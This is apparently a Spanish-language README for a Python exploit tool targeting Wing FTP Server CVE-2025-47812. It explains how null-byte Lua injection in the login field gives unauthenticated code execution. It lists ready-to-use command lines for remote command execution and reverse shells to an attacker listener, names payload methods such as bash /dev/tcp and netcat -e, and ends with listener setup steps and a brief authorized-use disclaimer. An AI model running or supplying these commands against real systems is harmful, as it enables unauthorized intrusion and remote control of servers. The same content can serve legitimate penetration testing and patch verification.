
Exploit de ejecución remota de código no autenticado para Wing FTP Server (CVE-2025-47812) con múltiples payloads de reverse shell, modos interactivo y de línea de comandos, y manejo automatizado de sesiones.
| Campo | Valor |
|---|
| CVE | CVE-2025-47812 |
| Afectado | Wing FTP Server < 7.4.4 |
| Tipo | Ejecución Remota de Código sin Autenticación |
| Puntuación CVSS | 10.0 (Crítico) |
| Corregido en | Wing FTP Server 7.4.4 |
La vulnerabilidad existe en el endpoint de inicio de sesión /loginok.html. El servidor no puede sanitizar los bytes nulos (%00) en el campo username. Esto permite a un atacante inyectar código Lua arbitrario en archivos de sesión, que luego son evaluados del lado del servidor cuando se accede a endpoints como /dir.html — sin necesidad de autenticación.
Referencia: https://nvd.nist.gov/vuln/detail/CVE-2025-47812
--payload-o--timeout y --delay configurables-vCtrl+Cpip install requests
python3 wingftp_rce_exploit.py
# Ejecutar un comando
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id"
# Guardar salida en archivo
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -c "id" -o results.txt
# Reverse shell (probar todos los payloads)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444
# Reverse shell (payload específico)
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r 10.10.15.92 -p 4444 --payload socat
-u / --url URL base del objetivo
-U / --username Nombre de usuario (por defecto: anonymous)
-c / --command Comando a ejecutar (modo comando)
-r / --rhost IP de tu listener (modo reverse shell)
-p / --rport Puerto de tu listener (modo reverse shell)
--payload Payload específico a usar (ver lista abajo)
--timeout Tiempo de espera de solicitud HTTP en segundos (por defecto: 10)
--delay Demora entre intentos de payload en segundos (por defecto: 4)
-o / --output Guardar salida del comando en archivo
-v / --verbose Habilitar salida de depuración
| Nombre | Método |
|---|---|
socat | PTY completo vía socat |
bash | Redirección /dev/tcp |
python3 | Subproceso socket |
nc-e | Netcat con bandera -e |
nc-fifo | Netcat + mkfifo |
php | PHP fsockopen |
URL objetivo : http://192.168.1.10:5466
Usuario : anonymous
Opción : 1
Comando : whoami
Paso 1 — Inicia tu listener (se recomienda socat para TTY completo):
socat file:`tty`,raw,echo=0 tcp-listen:4444,reuseaddr
O con nc:
nc -lvnp 4444
Paso 2 — Ejecuta el exploit:
python3 wingftp_rce_exploit.py -u http://TARGET:5466 -r YOUR_IP -p 4444
Esta herramienta está destinada únicamente a fines educativos y pruebas de seguridad autorizadas.
NO la uses contra sistemas que no poseas o para los que no tengas permiso explícito por escrito para realizar pruebas.
El uso no autorizado es ilegal. Los autores no aceptan responsabilidad por el mal uso.